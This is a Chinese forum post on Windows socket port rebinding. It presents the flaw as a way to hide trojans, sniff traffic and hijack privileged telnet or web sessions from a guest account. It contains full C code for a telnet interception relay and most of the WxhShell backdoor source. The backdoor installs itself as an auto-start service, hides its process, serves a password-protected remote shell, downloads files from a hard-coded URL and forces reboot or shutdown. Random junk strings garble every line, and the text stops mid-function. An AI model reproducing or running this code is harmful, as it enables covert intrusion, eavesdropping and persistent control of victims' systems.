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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 85|95P.<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3W-NS~y  
5G'&9{oB  
  saddr.sin_family = AF_INET; rX!+@>4_L  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _7=pw5[  
*]m kyAhi  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -.b Io  
,"N3k(g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 BK(pJNBh  
9xK4!~5V  
  这意味着什么?意味着可以进行如下的攻击: 7"n)/;la  
vfJ3idvo*w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r%y;8$/-  
^A 11h6I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m0I #  
3{Ek-{ 9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f/0v' Jt  
2H?I'<NoC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "rjv5*z^&  
V#gF*]q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZVdsxo<  
nE]~E xr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V@#*``M,3  
b`h%W"|2L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [GR]!\!%~  
:]B% >*;}  
  #include QJM-`(  
  #include Gd30Be2gd  
  #include H _Zo@y~J  
  #include    fa!3/X+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |D;_:x9  
  int main() ^8?j~&u$F  
  { /S7+B ]  
  WORD wVersionRequested; 93Mdp9v+i  
  DWORD ret; _`bS[%CJ  
  WSADATA wsaData; #&^ZQs<  
  BOOL val; c }<*~w;  
  SOCKADDR_IN saddr; M1AZ}b c0]  
  SOCKADDR_IN scaddr; ~In{lQ[QX  
  int err; B>~k).M&,  
  SOCKET s; tA`mD>[  
  SOCKET sc; ps"/}u l  
  int caddsize; ,U6*kvHS6  
  HANDLE mt; KI E k/]<H  
  DWORD tid;   =4frP*H?  
  wVersionRequested = MAKEWORD( 2, 2 ); Z |2E b*  
  err = WSAStartup( wVersionRequested, &wsaData ); -Bo86t)F  
  if ( err != 0 ) { !( kX~S  
  printf("error!WSAStartup failed!\n"); KqN!?anPr  
  return -1; VDB$"T9#  
  } 2Ryp@c&r^  
  saddr.sin_family = AF_INET; n_<mPU  
   yB-.sGu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -1Djo:y  
0Vf)Rw1%I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IYuyj(/!  
  saddr.sin_port = htons(23); f"Ost;7zg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E9^(0\Z I  
  { q&u$0XmV  
  printf("error!socket failed!\n"); >HE,'  
  return -1; vGXWwQ.1Tp  
  } 0;}Aj8Fle  
  val = TRUE; E::L?#V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;!'qtw"CB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W&<g} N+  
  { Uf# PoQ!y  
  printf("error!setsockopt failed!\n"); Y;8 >=0ye  
  return -1; doLkrEm&  
  } \ 0D$Mie  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;U |NmC+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mj)PLZ]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !~kEtC  
~NxEc8Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qc3~cH.@  
  { p:B ]Ft  
  ret=GetLastError(); @\ }sb]  
  printf("error!bind failed!\n"); T$u~E1  
  return -1; Y=9j2 ]t  
  } s,w YlVYf!  
  listen(s,2); ?gLAWz  
  while(1) N3Z iGD  
  { =:4?>2)  
  caddsize = sizeof(scaddr); M2dmG<  
  //接受连接请求 &RWM<6JP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .?f:Nb.O  
  if(sc!=INVALID_SOCKET) @YCv  
  { 3x![ 8 x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H"O$&  
  if(mt==NULL) y5_XHi@u~o  
  { Q? qjWZY  
  printf("Thread Creat Failed!\n"); @m?{80;uQ  
  break; dN<5JQql  
  } 6%%PP8.F  
  } :Dayv6g  
  CloseHandle(mt); Y[ ?`\c|  
  } [%jxf\9jJ_  
  closesocket(s); EX4 C.C|d  
  WSACleanup(); PRwu  
  return 0; GQ<Ds{exs>  
  }   OTE<x"=h  
  DWORD WINAPI ClientThread(LPVOID lpParam) =5Wp&SM6  
  { izf~w^/  
  SOCKET ss = (SOCKET)lpParam; 0Z,{s158L  
  SOCKET sc; 7 5|pp  
  unsigned char buf[4096]; AFm,CINa  
  SOCKADDR_IN saddr; k-Fdj5/  
  long num; pqeL%="p;  
  DWORD val; q3)wr%!k5D  
  DWORD ret; U{}!y3[wK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \yG`Sfu2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qOi5WX6F/  
  saddr.sin_family = AF_INET; &n|*uLn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); TP{Gt.e  
  saddr.sin_port = htons(23); (Xo SG  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {i>Jfl]G}  
  { f>z`i\1oO  
  printf("error!socket failed!\n"); uY;R8CiD  
  return -1; 1ef'7a7e8  
  } ~ezCu_  
  val = 100; B+Z13;}B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g4wZvra6%)  
  { 9 mPIykAj8  
  ret = GetLastError(); wbi3lH:;  
  return -1; 9U^$.Lb  
  } jV^C19  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ] H&c'  
  { kaQ2A  
  ret = GetLastError(); x2k*| =$  
  return -1; ` ?9T~,  
  } d0 -~| `5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [N:BM% FQ  
  { NR4Jn?l{  
  printf("error!socket connect failed!\n"); a4&:@`=  
  closesocket(sc); Jq .L:>x  
  closesocket(ss); {155b0  
  return -1; L2fVLK H  
  } ,[`$JNc  
  while(1) cJ/]+|PQ  
  { +O+<Go@a  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ((|IS[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h/<=u9J  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a2yE:16o6  
  num = recv(ss,buf,4096,0); (Z-l/)Q  
  if(num>0) >SDp uG&>  
  send(sc,buf,num,0); |pW\Ec#(  
  else if(num==0) i8~ r  
  break; <9ifPSvJ  
  num = recv(sc,buf,4096,0);  &?+WXL>  
  if(num>0) XmWlv{T+  
  send(ss,buf,num,0); J`oTes,  
  else if(num==0) |RhM| i  
  break; "8(U\KaX  
  } #$'FSy#  
  closesocket(ss); `,Orf ZMb  
  closesocket(sc); 6I|A- h  
  return 0 ; 6y  Wc1  
  } mqFq_UX/ T  
V1<`%=%_W  
Y=2Un).&  
========================================================== q`Q}yE> 9  
"&QH6B1U6H  
下边附上一个代码,,WXhSHELL 5~r2sCDPk  
p=gX !4,9<  
========================================================== ?)i1b\4Go  
u~F~cDu  
#include "stdafx.h" S%l:kKD  
@Zm J z  
#include <stdio.h> !wh&>3~  
#include <string.h> IR$ (_9z  
#include <windows.h> mX\ ;oV!  
#include <winsock2.h> WY>Knp=  
#include <winsvc.h> {gU&%j  
#include <urlmon.h> YV([2  
Ty+I8e]{  
#pragma comment (lib, "Ws2_32.lib") ? +`x e{k  
#pragma comment (lib, "urlmon.lib") LM.`cb;?G  
5DFZ^~  
#define MAX_USER   100 // 最大客户端连接数 S>f&6ZDNY(  
#define BUF_SOCK   200 // sock buffer D:E9!l'  
#define KEY_BUFF   255 // 输入 buffer {THqz$KN  
/Ox)|) l  
#define REBOOT     0   // 重启 u \g ,.C0  
#define SHUTDOWN   1   // 关机 Ceg!w#8Z,  
{-WTV"L5*2  
#define DEF_PORT   5000 // 监听端口 3QCVgo i\  
li/aN  
#define REG_LEN     16   // 注册表键长度 ~UPZ<  
#define SVC_LEN     80   // NT服务名长度 -[]';f4]M  
s<7XxQ  
// 从dll定义API Yx%bn?%;&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |t6~%6^8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $H*/;`,\[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !7 _\P7M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QK <\kVZ8  
AHd-  
// wxhshell配置信息 Tr.hmGU  
struct WSCFG { nSS=%,?  
  int ws_port;         // 监听端口 &jf7k <^  
  char ws_passstr[REG_LEN]; // 口令 u"+}I,'L  
  int ws_autoins;       // 安装标记, 1=yes 0=no _>_j\b  
  char ws_regname[REG_LEN]; // 注册表键名 >.DC!QV  
  char ws_svcname[REG_LEN]; // 服务名 srmKaa|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [1( FgyE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -%m3-xZA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >K)2NLW\xA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @d&H]5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nk@atK,38^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =m tY  
+ ^ yq;z  
}; V|FrN*m  
p/olCmHD)  
// default Wxhshell configuration gH7z  
struct WSCFG wscfg={DEF_PORT, hIU(P Dl4  
    "xuhuanlingzhe", j43$]'-  
    1, S!Jh2tsg`-  
    "Wxhshell", wAF,H8 -DK  
    "Wxhshell", 9-lEtl%  
            "WxhShell Service", HW[L [&/  
    "Wrsky Windows CmdShell Service", !Q %P%P<$  
    "Please Input Your Password: ", ;ojiJ ?jU  
  1, 5<R%H{3j  
  "http://www.wrsky.com/wxhshell.exe", }iww:H-1  
  "Wxhshell.exe" :tj-gDa\Y  
    }; WUoOGbA `  
HlB]38  
// 消息定义模块 6mPm=I[oh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Uems\I0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r`M6!}oa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^&[+H8$  
char *msg_ws_ext="\n\rExit."; %&+59vq   
char *msg_ws_end="\n\rQuit."; s] au/T6b  
char *msg_ws_boot="\n\rReboot..."; Pq p *  
char *msg_ws_poff="\n\rShutdown..."; GjT#%GBF  
char *msg_ws_down="\n\rSave to "; r o\1]`6  
M\2"gT-LV  
char *msg_ws_err="\n\rErr!"; a. %LHb  
char *msg_ws_ok="\n\rOK!"; +t!S'|C  
p,!$/Q+l  
char ExeFile[MAX_PATH]; jAhP> t:  
int nUser = 0; gNj7@bX~  
HANDLE handles[MAX_USER]; $dg9z}D  
int OsIsNt; !iu5OX7K|  
SreYJT%  
SERVICE_STATUS       serviceStatus; 9;=dxWf   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >lzA]aM$c  
veh 5 }2  
// 函数声明 `DW2spd  
int Install(void); -,# +`>w  
int Uninstall(void); PlxIf  L  
int DownloadFile(char *sURL, SOCKET wsh); ff2d @P,!  
int Boot(int flag); TkRP3_b  
void HideProc(void); 3vic(^Qh  
int GetOsVer(void); |D#2GeBw1h  
int Wxhshell(SOCKET wsl); 2YBIWR8z  
void TalkWithClient(void *cs); <M+R\SH-  
int CmdShell(SOCKET sock); 6d|q+]x_n  
int StartFromService(void); L ^J- ("e_  
int StartWxhshell(LPSTR lpCmdLine); .zj0Jy8N  
x4kWLy7Sz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `dkV_ O0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4Y ROB912  
O l@_(U  
// 数据结构和表定义 aMuVqZw  
SERVICE_TABLE_ENTRY DispatchTable[] = 6ghx3_%w  
{ qRB7Ec_  
{wscfg.ws_svcname, NTServiceMain}, Z|m`7xeCy  
{NULL, NULL} P,xwSvO#M  
}; TJ_=1Y@z  
%&blJ6b  
// 自我安装 7}o/:  
int Install(void) Zj9c9  
{ Fd$!wBL  
  char svExeFile[MAX_PATH]; -_A$DM!^=w  
  HKEY key; ` }gbc69  
  strcpy(svExeFile,ExeFile); tjnPyaJEl  
W<b-r^9?s  
// 如果是win9x系统,修改注册表设为自启动 oOU1{[  
if(!OsIsNt) { /BA{O&Ro^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oF:v JDSS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5]Da{Wmgs  
  RegCloseKey(key); @R6 ttx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L=!of{4Z(}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n(ir[w#,]"  
  RegCloseKey(key); >4i>C  
  return 0; !7p}C-RZp  
    } m\u26`M  
  } PD[z#T!'  
} S]/b\ B.h+  
else { a$11PBi[9  
.8gl< vX  
// 如果是NT以上系统,安装为系统服务 &m^@9E)S/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fC-P.:F#I  
if (schSCManager!=0) $9!D\N,}]C  
{ XFwLz  
  SC_HANDLE schService = CreateService   WY  
  ( eTa y>G  
  schSCManager, 3\$wdUFr  
  wscfg.ws_svcname, ?,knit2x  
  wscfg.ws_svcdisp, Zl/< w(f_  
  SERVICE_ALL_ACCESS, +=$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A&5:ATQ/|  
  SERVICE_AUTO_START, kQ>^->w  
  SERVICE_ERROR_NORMAL, =Ufr^naA  
  svExeFile, C|-pD  
  NULL, `8_z!)  
  NULL, )Di \_/G  
  NULL, -1|iz2^N  
  NULL,  \[:/CxP  
  NULL < Bg8,;  
  ); :\ QUs}  
  if (schService!=0) = duks\)O  
  { `_X;.U.Mv  
  CloseServiceHandle(schService); zDOKShG  
  CloseServiceHandle(schSCManager); yzsab ^]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gN6rp(?y  
  strcat(svExeFile,wscfg.ws_svcname); ]88];?KS}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -Sv"gLB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wE\3$ s/{D  
  RegCloseKey(key); Zi\['2CG  
  return 0; yCz|{=7"j  
    } ~ Hy,7  
  } Rf-[svA  
  CloseServiceHandle(schSCManager); oFsM6+\/S  
} 0u B'g+MU`  
} 8|?LN8rp  
a `Q ot  
return 1; SGc8^%-`  
} 0C%W&;r0  
y3u+_KY-  
// 自我卸载 7Z,opc  
int Uninstall(void) YGvUwj'2a  
{ 58xnB!h\}  
  HKEY key; UYP9c}_,4  
MxQ?Sb%Gka  
if(!OsIsNt) { yF._*9Q3hK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e-hjC6Q U  
  RegDeleteValue(key,wscfg.ws_regname); TJ8E"t*)  
  RegCloseKey(key); G2{O9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >ydRSr^  
  RegDeleteValue(key,wscfg.ws_regname); Z#l%r0(o  
  RegCloseKey(key); t>)45<PEw  
  return 0; NSA F4e  
  } S8Fmy1#  
} V D?*h  
} #zUXyT#X  
else { NG&_?|OmV  
%6%<?jZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9i5,2~  
if (schSCManager!=0) 3Ug  
{ 98jN)Nl,oD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )}%O>%  
  if (schService!=0) x"P);su  
  { <N,)G |&  
  if(DeleteService(schService)!=0) { 1_'? JfY-  
  CloseServiceHandle(schService); ;^Sr"v6r>u  
  CloseServiceHandle(schSCManager); UM*jKi2]"  
  return 0; n(nBRCG)o  
  } \'CN  
  CloseServiceHandle(schService); PYRd] %X  
  } 4F3x@H'  
  CloseServiceHandle(schSCManager); W,@ If}  
} $2D uB  
} \qvaE+  
)QagS.L{z  
return 1; Syp"L;H8Em  
} }{9&:!uA  
dUznxZB  
// 从指定url下载文件 V(MFna)  
int DownloadFile(char *sURL, SOCKET wsh) l%z<(L5  
{ juF{}J2  
  HRESULT hr; + 1IQYa|  
char seps[]= "/"; ZD#9&q'4<  
char *token; Ioy  
char *file; vzel#  
char myURL[MAX_PATH]; *=ZsqOHwG  
char myFILE[MAX_PATH]; <!$:8ls  
$GQ`clj<  
strcpy(myURL,sURL); 0n~Zz  
  token=strtok(myURL,seps); ;R=.iOn  
  while(token!=NULL) l&VjUPz_  
  { !|q<E0@w\  
    file=token; F["wD O  
  token=strtok(NULL,seps); e7fiGl  
  } o~FRF0f*VP  
MC((M,3L  
GetCurrentDirectory(MAX_PATH,myFILE); 8E&XbqP+  
strcat(myFILE, "\\"); C.^Ven  
strcat(myFILE, file); o[ENp'r  
  send(wsh,myFILE,strlen(myFILE),0); 0yx3OY  
send(wsh,"...",3,0); v]% WH~>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); < _$%@4 L  
  if(hr==S_OK) Bx"7%[  
return 0; &~UJf4b|A  
else }7G8|54t  
return 1; .,~(%#Wl$  
fl Jp4-nx  
} @cRZk`|1n  
V>64/  
// 系统电源模块 IvpcSam'  
int Boot(int flag) N4;7gSc"  
{ }pkj:NT  
  HANDLE hToken; 0w'j+  
  TOKEN_PRIVILEGES tkp; cH<q:OYi  
lT\a2.E  
  if(OsIsNt) { 4$/i%B#ad  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2RF^s.W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e&MC|US=\  
    tkp.PrivilegeCount = 1; 1[*UYcD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wpA`(+J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SxyONp.$\  
if(flag==REBOOT) { a"/#+=[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?Y:x[pOe  
  return 0; M,j(=hRJ/E  
} Vh3Ijn  
else { d"G+8}.4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) + SZYg[  
  return 0; =O _z(  
} c[}(O H  
  } ,1q_pep~?%  
  else { 53HU.  
if(flag==REBOOT) { I"AYWo?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Sj'ht=  
  return 0; sDgXU@  
} |vte=)%  
else { W$JebW<z(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |W$DVRA  
  return 0; dAP|:&y@  
} 3`O?16O  
} : FAH\  
?EMK8;  
return 1; @L84>3O  
} U(&oj e  
2)?(R;$,  
// win9x进程隐藏模块 [=uo1%  
void HideProc(void) -B#yy]8  
{ _FbC{yI8;  
q,<[hBri-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GwsY-jf  
  if ( hKernel != NULL ) fsO9EEn7 X  
  { JXiZB 8}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VS#wl|b8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I4rPHZ|  
    FreeLibrary(hKernel); ,O1O8TwUB0  
  } +c:3o*  
^\ ?O4,L  
return; va/m~k|i  
} W-RqN!snJ8  
J MX6yV  
// 获取操作系统版本 < (RC|?  
int GetOsVer(void) aRj>iQaddx  
{ ]!1OH |Ad  
  OSVERSIONINFO winfo; -O:_!\uA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *VSel4;\t  
  GetVersionEx(&winfo); <Y 4:'L6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :/YO ni1h  
  return 1; zHB_{(o7  
  else 2.}R  
  return 0; y;" n9  
} P`$12<\O1  
Q^}%c U0  
// 客户端句柄模块 2J;`m_oP  
int Wxhshell(SOCKET wsl) &zL#hBE  
{ [{[N(g&d  
  SOCKET wsh; vY6W|<s  
  struct sockaddr_in client; (J$\-a7<f  
  DWORD myID; VCNT4m  
Itm8b4e9;  
  while(nUser<MAX_USER) ;SwC&.I  
{ bTmL5}n  
  int nSize=sizeof(client); oqkVYlE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =1/NFlt8  
  if(wsh==INVALID_SOCKET) return 1; p?(L'q"WK  
A)n W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9V1cdb~?"T  
if(handles[nUser]==0) +%J\y^09kr  
  closesocket(wsh); @`u?bnx]e  
else TDK@)mP  
  nUser++; jX=lAs~6  
  } V+MK'<#B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D  _X8-  
W-2i+g)  
  return 0; ?4t-caK^u  
} _fTwmnA  
4 k}e28  
// 关闭 socket Gu(lI ~  
void CloseIt(SOCKET wsh) /4S;QEv  
{ E +_&HG}a  
closesocket(wsh); N?r>%4  
nUser--; IxSV?k   
ExitThread(0); JXQPT  
} V*n==Nb5L  
kka"C]!  
// 客户端请求句柄 vL_zvX A  
void TalkWithClient(void *cs) @9 8;VWY\  
{ *DeTqO65  
ND]S(C"?  
  SOCKET wsh=(SOCKET)cs; $`Nd?\$  
  char pwd[SVC_LEN]; N{a kg90  
  char cmd[KEY_BUFF]; :Z`4j  
char chr[1]; Rc$h{0K8  
int i,j; Fxd{ Zk`  
D!> d0k,Y  
  while (nUser < MAX_USER) { V% axeqs  
*_hLD5K!  
if(wscfg.ws_passstr) { GG-[`!>.pw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n[k1np$7?6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =G>(~+EA  
  //ZeroMemory(pwd,KEY_BUFF); "e62/Ejg%  
      i=0; f@z*3I;  
  while(i<SVC_LEN) { )^;DGzG  
xxX/y2\  
  // 设置超时 L'kq>1QWf  
  fd_set FdRead; 1M5 -pZ[D  
  struct timeval TimeOut; |qUrEGjiSS  
  FD_ZERO(&FdRead); n.$(}A  
  FD_SET(wsh,&FdRead); *3Nn +T  
  TimeOut.tv_sec=8; 2_pz3<,\  
  TimeOut.tv_usec=0; 9U<Hf32  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "~$$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i^|@"+  
W"sr$K2m|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "DckwtG:%  
  pwd=chr[0]; =7jEz+w#  
  if(chr[0]==0xd || chr[0]==0xa) { U</+.$b  
  pwd=0; kV)' a  
  break; U6{dI@|B  
  } ~mH+DV3  
  i++; tV`&- H  
    } @-6?i)  
hx!`F  
  // 如果是非法用户,关闭 socket f=ib9WbR#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &BgU:R,  
} 4 X`^{~  
0j@IxEPs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5-'vB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G[6=u|(M  
_i@x@:_l  
while(1) { {wu!6\:<??  
6FjVmje  
  ZeroMemory(cmd,KEY_BUFF); O,9X8$5H-a  
k+\7B}7F  
      // 自动支持客户端 telnet标准   l<RfRqjw  
  j=0; f[@#7,2~M  
  while(j<KEY_BUFF) { 2u&c &G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9p<:LZd~  
  cmd[j]=chr[0]; Oxn'bh6R0  
  if(chr[0]==0xa || chr[0]==0xd) { c~oe, 9  
  cmd[j]=0; ayH>XwY6  
  break; w4}(Ab<Y  
  } $K=z  
  j++; +~:0Dxv W  
    } m){&:Hs  
*2:Yf7rvI+  
  // 下载文件 m?vAyi  
  if(strstr(cmd,"http://")) { )`RZkCe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h>Rpb#]  
  if(DownloadFile(cmd,wsh)) D4\(:kF\Hg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *<3iEeO/R  
  else Y D+QX@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I)uASfT$  
  } ]eL~L_[G\  
  else { ndt8=6p  
=z%s8D2  
    switch(cmd[0]) { Q }8C  
  {r X5  
  // 帮助 7x:F!0:  
  case '?': { Ot"(uW4$[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'Sk6U]E~  
    break; h@/>?Va  
  } *Ag,kW"  
  // 安装 rr6"Y&v  
  case 'i': { ;WPI+`-  
    if(Install()) |W/Hi^YE2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a\|X^%2g  
    else c'[( d5^|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "N]WL5$i  
    break; 8^NE=)cb7w  
    } ?##y`.+O  
  // 卸载 0$(jBnE  
  case 'r': { <C2c" =b  
    if(Uninstall()) ]dQZ8yVK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SwQOFE/Dv~  
    else Zj5NWzj X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P}b Dn;  
    break; ZW`HDrP`  
    } .|tQ=l@I  
  // 显示 wxhshell 所在路径 1gO//fdI  
  case 'p': { W'8J<VBD  
    char svExeFile[MAX_PATH]; $::51#^Wg  
    strcpy(svExeFile,"\n\r"); FkLQBpp(x  
      strcat(svExeFile,ExeFile); _p?I{1O  
        send(wsh,svExeFile,strlen(svExeFile),0); I-j(e)P(o_  
    break; P[r}(@0rJ  
    } _y.mpX&  
  // 重启 UX+?0K  
  case 'b': { t4*aVHT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 15RI(BN   
    if(Boot(REBOOT)) <;.}WQC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 75' Ua$  
    else { YeR7*[l  
    closesocket(wsh); 7 B4w.P,B  
    ExitThread(0); &n,xGIG  
    } n C\(+K1%  
    break; 1ZGQhjcx  
    } 2*b# +b  
  // 关机 w`w ` q'  
  case 'd': { N GX-'w  
